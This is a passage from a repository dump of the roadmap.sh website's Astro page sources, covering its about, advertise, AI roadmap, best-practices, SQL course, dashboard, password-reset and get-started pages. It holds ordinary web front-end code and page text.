href='https://github.com/search?o=desc&q=stars%3A%3E100000&s=stars&type=Repositories'\n              target='_blank'\n              class='font-bold underline'\n              >the {repoRank} most starred opensource project on GitHub</a\n            > and gets visited by hundreds of thousands of developers every month.\n            We also have a newsletter with 150,000+ developers. All the roadmaps are\n            created and reviewed by the community and several subject matter experts.\n            Also, anyone can suggest changes to any roadmap and we have a process\n            to review and approve them.\n          </p>\n        </div>\n\n        <div class='mb-5'>\n          <h2 class='text-2xl font-bold mb-2'>\n            What are the plans for roadmap.sh?\n          </h2>\n          <p class='mb-3'>\n            Our long-term plan is to make roadmap.sh a go-to place for\n            developers whenever they plan on learning something new. We started\n            with roadmaps, guides, videos and other visual content but we plan\n            on introducing best practices, best-practices for certain tasks, quizzes\n            to test your knowledge and prepare yourself for interviews,\n            project ideas to work on while following the roadmaps, public\n            profiles to share your progress and interact with other learners\n            and so on.\n          </p>\n        </div>\n\n        <div class='mb-5'>\n          <h2 class='text-2xl font-bold mb-2'>How is roadmap.sh built?</h2>\n          <p class='mb-3'>\n            The website is built with <a\n              href='https://astro.build/'\n              class='font-bold underline'\n              target='_blank'\n              rel='nofollow'>Astro</a\n            > and <a\n              href='https://tailwindcss.com/'\n              class='font-bold underline'\n              target='_blank'\n              rel='nofollow'>Tailwind</a\n            > and is deployed to <a\n              href='https://pages.github.com/'\n              class='font-bold underline'\n              target='_blank'\n              rel='nofollow'>GitHub pages</a\n            >. The project is open-core and the codebase \n            <a\n              href='https://github.com/kamranahmedse/developer-roadmap'\n              class='font-bold underline'\n              target='_blank'>can be found on GitHub</a\n            >.\n          </p>\n        </div>\n\n        <div class='mb-5'>\n          <h2 class='text-2xl font-bold mb-2'>How can I add a new roadmap?</h2>\n          <p class='mb-3'>\n            For new roadmaps, please open an issue with the textual description\n            of the roadmap in the form of bulleted list. Here is an <a\n              target='_blank'\n              class='font-bold underline'\n              href='https://github.com/kamranahmedse/developer-roadmap/issues/1387#issue-1329276631'\n              >example contribution of a new roadmap</a\n            >.\n          </p>\n          <p class='mb-3'>\n            Find more details in the <a\n              href='https://github.com/kamranahmedse/developer-roadmap/blob/master/contributing.md'\n              class='font-bold underline'\n              target='_blank'>contribution docs</a\n            >.\n          </p>\n        </div>\n\n        <div class='mb-5'>\n          <h2 class='text-2xl font-bold mb-2'>\n            How can I update an existing roadmap?\n          </h2>\n          <p class='mb-3'>\n            Please have a look at the <a\n              href='https://github.com/kamranahmedse/developer-roadmap/blob/master/contributing.md'\n              class='font-bold underline'\n              target='_blank'>contribution docs</a\n            > for details.\n          </p>\n        </div>\n\n        <div class='mb-5'>\n          <h2 class='text-2xl font-bold mb-2'>\n            How can I add content to existing roadmaps?\n          </h2>\n          <p class='mb-3'>\n            Please have a look at the <a\n              href='https://github.com/kamranahmedse/developer-roadmap/blob/master/contributing.md'\n              class='font-bold underline'\n              target='_blank'>contribution docs</a\n            > for details.\n          </p>\n        </div>\n\n        <div class='mb-5'>\n          <h2 class='text-2xl font-bold mb-2'>\n            Can I redistribute the content?\n          </h2>\n          <p>\n            No, the license of the content on this website does not allow you to\n            redistribute any of the content on this website anywhere. You can\n            use it for personal use or share the link to the content if you have\n            to but redistribution is not allowed.\n          </p>\n        </div>\n        <div class='mb-5'>\n          <h2 class='text-2xl font-bold mb-2'>\n            What is the best way to contact you?\n          </h2>\n          <p>\n            Tweet or send me a message <a\n              class='underline font-bold'\n              href='https://twitter.com/kamrify'\n              target='_blank'>@kamrify</a\n            > or email me at \n            <a\n              class='underline font-bold'\n              href='mailto:kamranahmed.se@gmail.com'\n              target='_blank'>kamranahmed.se@gmail.com</a\n            >. I get lots of messages so apologies in advance if you don't hear\n            back from me soon but I do reply to everyone.\n          </p>\n        </div>\n      </main>\n    </div>\n  </div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/advertise.astro",
    "content": "---\nimport BaseLayout from '../layouts/BaseLayout.astro';\nimport { getRepositoryRank } from '../lib/github.ts';\nimport { AdvertiseForm } from '../components/AdvertiseForm';\n---\n\n<BaseLayout title='Advertise with roadmap.sh' permalink={'/advertise'}>\n  <div class='bg-white py-8 sm:py-20'>\n    <div class='container'>\n      <div class='mb-2 sm:mb-8 flex items-center'>\n        <div>\n          <h1 class='mb-0 sm:mb-3 text-2xl font-bold sm:text-4xl'>\n            Advertise with roadmap.sh\n          </h1>\n          <p class='text-lg sm:text-xl text-gray-500'>\n            The best way to reach developers\n          </p>\n        </div>\n      </div>\n\n      <p class='mb-5'>\n        With hundreds of thousands of monthly visitors and over 1 million\n        registered users, roadmap.sh is the resource developers choose to skill\n        up and advance their careers. This community effort creates guides and\n        educational content where developers can choose their path to success.\n      </p>\n\n      <p class='mb-4 sm:mb-9'>\n        <span class='font-bold'>roadmap.sh</span> also provides opportunities to\n        advertise to developers where your message stands out on our platform to\n        generate valuable results. Do more with your budget and achieve your marketing\n        goals by targeting your ideal segments of our developer audience. Don’t wait\n        to get your message in front of aspirational developers.\n      </p>\n\n      <AdvertiseForm client:load />\n    </div>\n  </div>\n  <div slot=\"changelog-banner\" />\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/ai-roadmaps/[aiRoadmapSlug].astro",
    "content": "---\nimport { AIRoadmap } from '../../components/AIRoadmap/AIRoadmap';\nimport SkeletonLayout from '../../layouts/SkeletonLayout.astro';\n\nexport const prerender = false;\n\ninterface Params extends Record<string, string | undefined> {\n  aiRoadmapSlug: string;\n}\n\nconst { aiRoadmapSlug } = Astro.params as Params;\n---\n\n<SkeletonLayout\n  title='AI Tutor'\n  briefTitle='AI Tutor'\n  description='AI Tutor'\n  keywords={['ai', 'tutor', 'education', 'learning']}\n  canonicalUrl={`/ai-roadmaps/${aiRoadmapSlug}`}\n>\n  <AIRoadmap client:load roadmapSlug={aiRoadmapSlug} />\n</SkeletonLayout>\n"
  },
  {
    "path": "src/pages/ai-roadmaps/explore.astro",
    "content": "---\nimport { ExploreAIRoadmap } from '../../components/ExploreAIRoadmap/ExploreAIRoadmap';\nimport BaseLayout from '../../layouts/BaseLayout.astro';\n---\n\n<BaseLayout title='Explore AI Generated Roadmaps' permalink=\"/ai-roadmaps/explore\">\n  <ExploreAIRoadmap client:load />\n  <div slot=\"changelog-banner\" />\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/ai-roadmaps/index.astro",
    "content": "---\nimport { GenerateRoadmap } from '../../components/GenerateRoadmap/GenerateRoadmap';\nimport BaseLayout from '../../layouts/BaseLayout.astro';\nimport { CheckSubscriptionVerification } from '../../components/Billing/CheckSubscriptionVerification';\n---\n\n<BaseLayout title='Roadmap AI' permalink='/ai-roadmaps'>\n  <GenerateRoadmap client:load />\n  <CheckSubscriptionVerification client:load />\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/befriend.astro",
    "content": "---\nimport AccountLayout from '../layouts/AccountLayout.astro';\nimport { Befriend } from '../components/Befriend';\nimport LoginPopup from \"../components/AuthenticationFlow/LoginPopup.astro\";\n---\n\n<AccountLayout\n  title='Respond Invite'\n  noIndex={true}\n  initialLoadingMessage={'Loading invite'}\n>\n  <LoginPopup />\n  <Befriend client:only=\"react\" />\n</AccountLayout>\n"
  },
  {
    "path": "src/pages/best-practices/[bestPracticeId]/[...topicId].astro",
    "content": "---\nimport { getAllBestPracticeTopicFiles } from '../../../lib/best-practice-topic';\nimport type { BestPracticeTopicFileType } from '../../../lib/best-practice-topic';\n\nexport const prerender = true;\n\nexport async function getStaticPaths() {\n  const topicPathMapping = await getAllBestPracticeTopicFiles();\n\n  return Object.keys(topicPathMapping).map((topicSlug) => {\n    const topicDetails = topicPathMapping[topicSlug];\n    const bestPracticeId = topicDetails.bestPracticeId;\n    const topicId = topicSlug.replace(`/${bestPracticeId}/`, '');\n\n    return {\n      params: {\n        topicId,\n        bestPracticeId,\n      },\n      props: topicDetails,\n    };\n  });\n}\n\nconst { file } = Astro.props as BestPracticeTopicFileType;\n\nconst fileWithoutBasePath = file.file?.replace(/.+?\\/src\\/data/, '/src/data');\nconst gitHubUrl = `https://github.com/kamranahmedse/developer-roadmap/tree/master${fileWithoutBasePath}`;\n---\n\n<div data-github-url={gitHubUrl}></div>\n\n<file.Content />\n"
  },
  {
    "path": "src/pages/best-practices/[bestPracticeId]/index.astro",
    "content": "---\nimport BestPracticeHeader from '../../../components/BestPracticeHeader.astro';\nimport FrameRenderer from '../../../components/FrameRenderer/FrameRenderer.astro';\nimport MarkdownFile from '../../../components/MarkdownFile.astro';\nimport { ShareIcons } from '../../../components/ShareIcons/ShareIcons';\nimport { TopicDetail } from '../../../components/TopicDetail/TopicDetail';\nimport UpcomingForm from '../../../components/UpcomingForm.astro';\nimport BaseLayout from '../../../layouts/BaseLayout.astro';\nimport { UserProgressModal } from '../../../components/UserProgress/UserProgressModal';\nimport { generateArticleSchema } from '../../../lib/jsonld-schema';\nimport { getOpenGraphImageUrl } from '../../../lib/open-graph';\nimport {\n  type BestPracticeFileType,\n  type BestPracticeFrontmatter,\n  getAllBestPractices,\n} from '../../../lib/best-practice';\nimport { CheckSubscriptionVerification } from '../../../components/Billing/CheckSubscriptionVerification';\n\nexport const prerender = true;\n\nexport async function getStaticPaths() {\n  const bestPractices = await getAllBestPractices();\n\n  return bestPractices.map((bestPractice: BestPracticeFileType) => ({\n    params: { bestPracticeId: bestPractice.id },\n    props: {\n      bestPractice: bestPractice,\n    },\n  }));\n}\n\ninterface Params extends Record<string, string | undefined> {\n  bestPracticeId: string;\n}\n\ninterface Props {\n  bestPractice: BestPracticeFileType;\n}\n\nconst { bestPracticeId } = Astro.params as Params;\nconst { bestPractice } = Astro.props as Props;\nconst bestPracticeData = bestPractice.frontmatter as BestPracticeFrontmatter;\n\nlet jsonLdSchema = [];\n\nif (bestPracticeData.schema) {\n  const bestPracticeSchema = bestPracticeData.schema;\n  jsonLdSchema.push(\n    generateArticleSchema({\n      url: `https://roadmap.sh/best-practices/${bestPracticeId}`,\n      headline: bestPracticeSchema.headline,\n      description: bestPracticeSchema.description,\n      datePublished: bestPracticeSchema.datePublished,\n      dateModified: bestPracticeSchema.dateModified,\n      imageUrl: bestPracticeSchema.imageUrl,\n    }),\n  );\n}\n\nconst ogImageUrl = getOpenGraphImageUrl({\n  group: 'best-practice',\n  resourceId: bestPracticeId,\n});\n---\n\n<BaseLayout\n  permalink={`/best-practices/${bestPracticeId}`}\n  title={bestPracticeData?.seo?.title}\n  briefTitle={bestPracticeData?.briefTitle}\n  ogImageUrl={ogImageUrl}\n  description={bestPracticeData.seo.description}\n  keywords={bestPracticeData.seo.keywords}\n  noIndex={bestPracticeData.isUpcoming}\n  jsonLd={jsonLdSchema}\n  resourceId={bestPracticeId}\n  resourceType='best-practice'\n>\n  <!-- Preload the font being used in the renderer -->\n  <link\n    rel='preload'\n    href='/fonts/balsamiq.woff2'\n    as='font'\n    type='font/woff2'\n    crossorigin\n    slot='after-header'\n  />\n\n  <BestPracticeHeader\n    title={bestPracticeData.title}\n    description={bestPracticeData.description}\n    bestPracticeId={bestPracticeId}\n    isUpcoming={bestPracticeData.isUpcoming}\n  />\n\n  <div class='bg-gray-50 py-4 sm:py-12'>\n    {\n      !bestPracticeData.isUpcoming && bestPracticeData.jsonUrl && (\n        <div class='container relative max-w-[1000px]!'>\n          <ShareIcons\n            resourceId={bestPracticeId}\n            resourceType='best-practice'\n            description={bestPracticeData.briefDescription}\n            pageUrl={`https://roadmap.sh/best-practices/${bestPracticeId}`}\n            client:load\n          />\n\n          <TopicDetail\n            resourceId={bestPracticeId}\n            resourceTitle={bestPracticeData.title}\n            resourceType='best-practice'\n            renderer={'balsamiq'}\n            client:idle\n            canSubmitContribution={true}\n          />\n\n          <FrameRenderer\n            resourceType={'best-practice'}\n            resourceId={bestPracticeId}\n            dimensions={bestPracticeData.dimensions}\n          />\n        </div>\n      )\n    }\n\n    {\n      !bestPracticeData.isUpcoming && !bestPracticeData.jsonUrl && (\n        <MarkdownFile>\n          <bestPractice.Content />\n        </MarkdownFile>\n      )\n    }\n  </div>\n\n  <UserProgressModal\n    resourceId={bestPracticeId}\n    resourceType='best-practice'\n    client:only='react'\n  />\n\n  {bestPracticeData.isUpcoming && <UpcomingForm />}\n  <CheckSubscriptionVerification client:load />\n  <div slot='changelog-banner'></div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/best-practices/[bestPracticeId].json.ts",
    "content": "import type { APIRoute } from 'astro';\n\nexport const prerender = true;\n\nexport async function getStaticPaths() {\n  const bestPracticeJsons = await import.meta.glob(\n    '/src/data/best-practices/**/*.json',\n    {\n      eager: true,\n    },\n  );\n\n  return Object.keys(bestPracticeJsons).map((filePath) => {\n    const bestPracticeId = filePath.split('/').pop()?.replace('.json', '');\n    const bestPracticeJson = bestPracticeJsons[filePath] as Record<string, any>;\n\n    return {\n      params: {\n        bestPracticeId,\n      },\n      props: {\n        bestPracticeJson: bestPracticeJson?.default,\n      },\n    };\n  });\n}\n\nexport const GET: APIRoute = async function ({ params, request, props }) {\n  return new Response(JSON.stringify(props.bestPracticeJson), {\n    status: 200,\n    headers: {\n      'content-type': 'application/json',\n    },\n  });\n};\n"
  },
  {
    "path": "src/pages/best-practices/index.astro",
    "content": "---\nimport GridItem from '../../components/GridItem.astro';\nimport SimplePageHeader from '../../components/SimplePageHeader.astro';\nimport BaseLayout from '../../layouts/BaseLayout.astro';\nimport { getAllBestPractices } from '../../lib/best-practice';\n\nconst bestPractices = await getAllBestPractices();\n---\n\n<BaseLayout\n  title='Best Practices'\n  description={'Best practices on different topics with detailed implementation guidelines'}\n  permalink={'/best-practices'}\n>\n  <SimplePageHeader\n    title='Best Practices'\n    description='Best practices on different topics with detailed implementation guidelines'\n  />\n\n  <div class='bg-gray-100 pt-4 pb-14 sm:pt-8 sm:pb-16'>\n    <div class='container'>\n      <div class='grid grid-cols-1 sm:grid-cols-2 gap-0.5 sm:gap-3'>\n        {\n          bestPractices.map((bestPractice) => (\n            <GridItem\n              url={`/best-practices/${bestPractice.id}`}\n              isNew={bestPractice.frontmatter.isNew}\n              title={bestPractice.frontmatter.briefTitle}\n              description={bestPractice.frontmatter.description}\n            />\n          ))\n        }\n      </div>\n    </div>\n  </div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/card/[version]/[userId].ts",
    "content": "import type { APIRoute } from 'astro';\nimport { getDefaultOpenGraphImageBuffer } from '../../../lib/open-graph';\nimport { getRoadCard } from '../../../lib/road-card';\n\nexport const prerender = false;\n\ntype Params = {\n  version: 'tall' | 'wide';\n  userId: string;\n};\n\nexport const GET: APIRoute<any, Params> = async (context) => {\n  const { userId, version } = context.params;\n\n  if (!userId || !version) {\n    const buffer = await getDefaultOpenGraphImageBuffer();\n    return new Response(buffer, {\n      headers: {\n        'Content-Type': 'image/png',\n      },\n    });\n  }\n\n  const searchParams = new URLSearchParams(context.url.searchParams);\n  const variant = (searchParams.get('variant') as 'dark' | 'light') || 'dark';\n  const roadmaps = searchParams.get('roadmaps') || '';\n\n  const svg = await getRoadCard(version, userId, variant, roadmaps);\n  return new Response(svg, {\n    headers: {\n      'Content-Type': 'image/svg+xml',\n    },\n  });\n};\n"
  },
  {
    "path": "src/pages/changelog.astro",
    "content": "---\nimport ChangelogItem from '../components/Changelog/ChangelogItem.astro';\nimport ChangelogLaunch from '../components/Changelog/ChangelogLaunch.astro';\nimport BaseLayout from '../layouts/BaseLayout.astro';\nimport { listChangelog } from '../queries/changelog';\n\nconst allChangelogs = await listChangelog();\n---\n\n<BaseLayout\n  title='Changelogs'\n  description='Changelogs for the updates and changes to roadmap.sh'\n  permalink='/changelog'\n  noIndex={true}\n>\n  <div class='bg-gray-100 px-4'>\n    <div class='-mx-4 border-b bg-white text-left'>\n      <div\n        class='mx-auto max-w-[500px] px-4 py-5 text-left sm:pb-10 sm:pt-12 sm:text-center'\n      >\n        <h1 class='mb-0.5 text-2xl font-semibold sm:mb-3 sm:text-4xl'>\n          Changelog\n        </h1>\n        <p class='text-balance text-sm sm:text-base'>\n          We are constantly improving and updating roadmap.sh\n        </p>\n      </div>\n    </div>\n\n    <div class='relative mx-auto max-w-[600px] pb-8 pt-8'>\n      <div\n        class='absolute inset-y-0 -left-5 hidden w-px -translate-x-[0.5px] bg-gray-300 sm:block'\n      >\n      </div>\n\n      {\n        allChangelogs.map((changelog) => (\n          <ChangelogItem changelog={changelog} />\n        ))\n      }\n\n      <ChangelogLaunch />\n    </div>\n  </div>\n  <div slot=\"changelog-banner\"></div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/community.astro",
    "content": "---\nimport BaseLayout from '../layouts/BaseLayout.astro';\nimport { DiscoverRoadmaps } from '../components/DiscoverRoadmaps/DiscoverRoadmaps';\n\nconst title = 'Discover Custom Roadmaps';\nconst description =\n  'Explore the community-created roadmaps to learn new skills, tools, and technologies. You can also create your own roadmap and share it with the world.';\n---\n\n<BaseLayout title={title} description={description} permalink=\"/community\">\n  <DiscoverRoadmaps client:load />\n  <div slot=\"changelog-banner\" />\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/courses/master-sql.astro",
    "content": "---\nimport { SQLCourseVariantPage } from '../../components/SQLCourseVariant/SQLCourseVariantPage.tsx';\nimport SkeletonLayout from '../../layouts/SkeletonLayout.astro';\n---\n\n<SkeletonLayout\n  title='Master SQL'\n  briefTitle='Learn SQL from the ground up'\n  ogImageUrl='https://assets.roadmap.sh/guest/sql-course-bjc53.png'\n  description='Learn SQL from the ground up. This SQL programming class is designed to help you go from beginner to expert through hands-on practice with real-world scenarios, mastering everything from basic to complex queries.'\n  keywords={[\n    'sql',\n    'database',\n    'database management',\n    'database administration',\n  ]}\n  canonicalUrl='/courses/master-sql'\n  noIndex={true}\n  jsonLd={[\n    {\n      \"@context\": \"https://schema.org\",\n      \"@type\": \"Course\",\n      \"@id\": \"https://roadmap.sh/courses/sql\",\n      \"name\": \"Master SQL\",\n      \"description\": \"A comprehensive SQL course designed to take you from beginner to advanced levels, featuring 55+ lessons, 100+ challenges, an integrated IDE, and an AI tutor. Ideal for developers, data analysts, and anyone working with data.\",\n      \"provider\": {\n        \"@type\": \"Organization\",\n        \"name\": \"roadmap.sh\",\n        \"url\": \"https://roadmap.sh\"\n      },\n      \"publisher\": {\n        \"@type\": \"Organization\",\n        \"name\": \"roadmap.sh\",\n        \"url\": \"https://roadmap.sh\"\n      },\n      \"timeRequired\": \"PT60H\",\n      \"isAccessibleForFree\": false,\n      \"offers\": {\n        \"@type\": \"Offer\",\n        \"url\": \"https://roadmap.sh/courses/sql\",\n        \"price\": \"59.99\",\n        \"priceCurrency\": \"USD\",\n        \"availability\": \"https://schema.org/InStock\",\n        \"category\": \"paid\"\n      },\n      \"image\": [\n        \"https://assets.roadmap.sh/guest/sql-course-bjc53.png\"\n      ],\n      \"coursePrerequisites\": [],\n      \"teaches\": [\n        \"SQL syntax and queries\",\n        \"Data filtering and sorting\",\n        \"Joins and subqueries\",\n        \"Aggregate functions\",\n        \"Stored procedures\",\n        \"Views and indexes\",\n        \"Transactions and ACID properties\",\n        \"Query optimization techniques\"\n      ],\n      \"educationalLevel\": \"Beginner to Advanced\",\n      \"aggregateRating\": {\n        \"@type\": \"AggregateRating\",\n        \"ratingValue\": \"4.8\",\n        \"ratingCount\": 500\n      },\n      \"inLanguage\": \"en\",\n      \"review\": [\n        {\n          \"@type\": \"Review\",\n          \"reviewBody\": \"This course was absolutely brilliant! The integrated database environment to practice what I learned was the best part.\",\n          \"author\": {\n            \"@type\": \"Person\",\n            \"name\": \"Gourav Khunger\"\n          }\n        },\n        {\n          \"@type\": \"Review\",\n          \"reviewBody\": \"Kamran has clearly put a lot of thought into this course. The content, structure and exercises were all great.\",\n          \"author\": {\n            \"@type\": \"Person\",\n            \"name\": \"Meabed\"\n          }\n        },\n        {\n          \"@type\": \"Review\",\n          \"reviewBody\": \"I already knew SQL but this course taught me a bunch of new things. Practical examples and challenges were great. Highly recommended!\",\n          \"author\": {\n            \"@type\": \"Person\",\n            \"name\": \"Mohsin Aheer\"\n          }\n        }\n      ],\n      \"educationalCredentialAwarded\": {\n        \"@type\": \"EducationalOccupationalCredential\",\n        \"name\": \"Certificate of Completion\",\n        \"credentialCategory\": \"Certificate\",\n        \"url\": \"https://roadmap.sh/courses/sql\"\n      },\n      \"hasCourseInstance\": [\n        {\n          \"@type\": \"CourseInstance\",\n          \"courseMode\": \"Online\",\n          \"courseWorkload\": \"PT60H\",\n        }\n      ]\n    }\n  ]}\n>\n  <SQLCourseVariantPage client:load />\n</SkeletonLayout>\n"
  },
  {
    "path": "src/pages/courses/sql.astro",
    "content": "---\nimport { SQLCoursePage } from '../../components/SQLCourse/SQLCoursePage.tsx';\nimport { SQLCourseVariantPage } from '../../components/SQLCourseVariant/SQLCourseVariantPage';\nimport SkeletonLayout from '../../layouts/SkeletonLayout.astro';\n---\n\n<SkeletonLayout\n  title='Master SQL'\n  briefTitle='Learn SQL from the ground up'\n  ogImageUrl='https://assets.roadmap.sh/guest/sql-course-bjc53.png'\n  description='Learn SQL from the ground up. This SQL programming class is designed to help you go from beginner to expert through hands-on practice with real-world scenarios, mastering everything from basic to complex queries.'\n  keywords={[\n    'sql',\n    'database',\n    'database management',\n    'database administration',\n  ]}\n  canonicalUrl='/courses/sql'\n  jsonLd={[\n    {\n      '@context': 'https://schema.org',\n      '@type': 'Course',\n      '@id': 'https://roadmap.sh/courses/sql',\n      name: 'Master SQL',\n      description:\n        'A comprehensive SQL course designed to take you from beginner to advanced levels, featuring 55+ lessons, 100+ challenges, an integrated IDE, and an AI tutor. Ideal for developers, data analysts, and anyone working with data.',\n      provider: {\n        '@type': 'Organization',\n        name: 'roadmap.sh',\n        url: 'https://roadmap.sh',\n      },\n      publisher: {\n        '@type': 'Organization',\n        name: 'roadmap.sh',\n        url: 'https://roadmap.sh',\n      },\n      timeRequired: 'PT60H',\n      isAccessibleForFree: false,\n      offers: {\n        '@type': 'Offer',\n        url: 'https://roadmap.sh/courses/sql',\n        price: '59.99',\n        priceCurrency: 'USD',\n        availability: 'https://schema.org/InStock',\n        category: 'paid',\n      },\n      image: ['https://assets.roadmap.sh/guest/sql-course-bjc53.png'],\n      coursePrerequisites: [],\n      teaches: [\n        'SQL syntax and queries',\n        'Data filtering and sorting',\n        'Joins and subqueries',\n        'Aggregate functions',\n        'Stored procedures',\n        'Views and indexes',\n        'Transactions and ACID properties',\n        'Query optimization techniques',\n      ],\n      educationalLevel: 'Beginner to Advanced',\n      aggregateRating: {\n        '@type': 'AggregateRating',\n        ratingValue: '4.8',\n        ratingCount: 500,\n      },\n      inLanguage: 'en',\n      review: [\n        {\n          '@type': 'Review',\n          reviewBody:\n            'This course was absolutely brilliant! The integrated database environment to practice what I learned was the best part.',\n          author: {\n            '@type': 'Person',\n            name: 'Gourav Khunger',\n          },\n        },\n        {\n          '@type': 'Review',\n          reviewBody:\n            'Kamran has clearly put a lot of thought into this course. The content, structure and exercises were all great.',\n          author: {\n            '@type': 'Person',\n            name: 'Meabed',\n          },\n        },\n        {\n          '@type': 'Review',\n          reviewBody:\n            'I already knew SQL but this course taught me a bunch of new things. Practical examples and challenges were great. Highly recommended!',\n          author: {\n            '@type': 'Person',\n            name: 'Mohsin Aheer',\n          },\n        },\n      ],\n      educationalCredentialAwarded: {\n        '@type': 'EducationalOccupationalCredential',\n        name: 'Certificate of Completion',\n        credentialCategory: 'Certificate',\n        url: 'https://roadmap.sh/courses/sql',\n      },\n      hasCourseInstance: [\n        {\n          '@type': 'CourseInstance',\n          courseMode: 'Online',\n          courseWorkload: 'PT60H',\n        },\n      ],\n    },\n  ]}\n>\n  <div class='course-variant-1'>\n    <SQLCoursePage client:load />\n  </div>\n  <div class='course-variant-2 !hidden'>\n    <SQLCourseVariantPage client:load />\n  </div>\n</SkeletonLayout>\n"
  },
  {
    "path": "src/pages/dashboard.astro",
    "content": "---\nimport { DateTime } from 'luxon';\nimport { DashboardPage } from '../components/Dashboard/DashboardPage';\nimport BaseLayout from '../layouts/BaseLayout.astro';\nimport { getAllBestPractices } from '../lib/best-practice';\nimport { getAllQuestionGroups } from '../lib/question-group';\nimport { getAllVideos } from '../lib/video';\nimport { listOfficialGuides } from '../queries/official-guide';\nimport {\n  isNewRoadmap,\n  listOfficialRoadmaps,\n} from '../queries/official-roadmap';\nimport type { BuiltInRoadmap } from '../components/Dashboard/PersonalDashboard';\n\nconst roadmaps = await listOfficialRoadmaps();\nconst roleRoadmaps = roadmaps.filter((roadmap) => roadmap.type === 'role');\nconst skillRoadmaps = roadmaps.filter((roadmap) => roadmap.type === 'skill');\nconst bestPractices = roadmaps.filter(roadmap => roadmap.type === 'best-practice');\nconst questionGroups = await getAllQuestionGroups();\nconst guides = await listOfficialGuides();\nconst videos = await getAllVideos();\n\nconst enrichedRoleRoadmaps: BuiltInRoadmap[] = roleRoadmaps.map((roadmap) => {\n  return {\n    id: roadmap.slug,\n    url: `/${roadmap.slug}`,\n    title: roadmap.title.card,\n    description: roadmap.description,\n    relatedRoadmapIds: roadmap.relatedRoadmaps,\n    renderer: 'editor',\n    isNew: isNewRoadmap(roadmap.createdAt),\n    metadata: {\n      tags: ['role-roadmap'],\n    },\n  };\n});\nconst enrichedSkillRoadmaps: BuiltInRoadmap[] = skillRoadmaps.map((roadmap) => {\n  return {\n    id: roadmap.slug,\n    url: `/${roadmap.slug}`,\n    title: roadmap.title.card === 'Go' ? 'Go Roadmap' : roadmap.title.card,\n    description: roadmap.description,\n    relatedRoadmapIds: roadmap.relatedRoadmaps,\n    renderer: 'editor',\n    isNew: isNewRoadmap(roadmap.createdAt),\n    metadata: {\n      tags: ['skill-roadmap'],\n    },\n  };\n});\nconst enrichedBestPracticeRoadmaps: BuiltInRoadmap[] = bestPractices.map((roadmap) => {\n  return {\n    id: roadmap.slug,\n    url: `/${roadmap.slug}`,\n    title: roadmap.title.card,\n    description: roadmap.description,\n    relatedRoadmapIds: roadmap.relatedRoadmaps,\n    renderer: 'editor',\n    isNew: isNewRoadmap(roadmap.createdAt),\n    metadata: {\n      tags: ['best-practice-roadmap'],\n    },\n  };\n});\n---\n\n<BaseLayout title='Dashboard' noIndex={true} permalink='/dashboard'>\n  <DashboardPage\n    builtInRoleRoadmaps={enrichedRoleRoadmaps}\n    builtInSkillRoadmaps={enrichedSkillRoadmaps}\n    builtInBestPractices={enrichedBestPracticeRoadmaps}\n    questionGroups={questionGroups}\n    guides={guides.slice(0, 10)}\n    videos={videos.slice(0, 10)}\n    client:load\n  />\n  <div slot='open-source-banner'></div>\n  <div slot='changelog-banner'></div>\n</BaseLayout>\n"
  },
  {
    "path": "src/pages/discord.astro",
    "content": "---\nexport const prerender = false;\nconst discordLink = 'https://discord.gg/GBY7zEc3uB';\n\nreturn Astro.redirect(discordLink);\n---\n"
  },
  {
    "path": "src/pages/forgot-password.astro",
    "content": "---\nimport { ForgotPasswordForm } from '../components/AuthenticationFlow/ForgotPasswordForm';\nimport AccountLayout from '../layouts/AccountLayout.astro';\nimport {AccountTerms} from \"../components/AccountTerms\";\n---\n\n<AccountLayout title='Forgot Password' noIndex={true} permalink=\"/forgot-password\">\n  <div class='container'>\n    <div\n      class='mx-auto flex flex-col items-start justify-start pb-28 pt-10 sm:max-w-[400px] sm:items-center sm:justify-center sm:pt-20'\n    >\n      <div class='mb-2 text-left sm:mb-5 sm:text-center'>\n        <h1 class='mb-2 text-3xl font-semibold sm:mb-5 sm:text-5xl'>\n          Forgot Password?\n        </h1>\n        <p class='mb-3 text-base leading-6 text-gray-600'>\n          Enter your email address below and we will send you a link to reset\n          your password.\n        </p>\n      </div>\n\n      <ForgotPasswordForm client:load />\n\n      <div\n          class='mt-3 w-full rounded-md border py-2 text-center text-sm text-slate-600'\n      >\n        Don't have an account?{' '}\n        <a\n            href='/signup'\n            class='font-medium text-blue-700 hover:text-blue-600 hover:underline'\n        >\n          Sign up\n        </a>\n      </div>\n    </div>\n  </div>\n</AccountLayout>\n"
  },
  {
    "path": "src/pages/get-started.astro",
    "content": "---\nimport {\n  Blocks,\n  Bot,\n  Braces,\n  CheckSquare,\n  Coins,\n  Component,\n  FolderKanban,\n  Gamepad2,\n  GitBranch,\n  Globe2,\n  GraduationCap,\n  Megaphone,\n  MessageCircle,\n  MessageCircleCode,\n  PenSquare,\n  Server,\n  ServerCog,\n  Shield,\n  ShieldHalf,\n  Smartphone,\n  SquareKanban,\n  UsersRound,\n  Waypoints,\n  Workflow,\n} from 'lucide-react';\nimport ChangelogBanner from '../components/ChangelogBanner.astro';\nimport { RoadmapCard } from '../components/GetStarted/RoadmapCard';\nimport { RoadmapMultiCard } from '../components/GetStarted/RoadmapMultiCard';\nimport { RoleRoadmaps } from '../components/GetStarted/RoleRoadmaps';\nimport { SectionBadge } from '../components/GetStarted/SectionBadge';\nimport { TipItem } from '../components/GetStarted/TipItem';\nimport BaseLayout from '../layouts/BaseLayout.astro';\n---\n\n<BaseLayout\n  title='Developer Roadmaps'\n  description={'Step by step guides and paths to learn different tools or technologies'}\n  permalink={'/get-started'}\n>\n  <!-- AI Chat Section -->\n  <div class='border-b bg-linear-to-b from-gray-200 to-white py-12 sm:py-16'>\n    <div class='container'>\n      <div class='max-w-3xl'>\n        <Bot className='mb-4 size-8 text-black sm:size-12' />\n        <h2 class='mb-3 text-2xl font-bold text-black sm:text-3xl'>\n          Get AI-Powered Learning Guidance\n        </h2>\n        <p class='mb-6 text-sm text-gray-600 sm:text-base'>\n          Our AI Tutor analyzes your experience, suggests relevant roadmaps, and\n          provides detailed answers to help you progress in your tech career.\n        </p>\n        <a\n          href='/ai/chat'\n          class='inline-flex items-center gap-2 rounded-xl bg-black px-4 py-2 text-sm font-medium text-white transition-colors hover:opacity-80 sm:px-6 sm:py-3 sm:text-base'\n        >\n          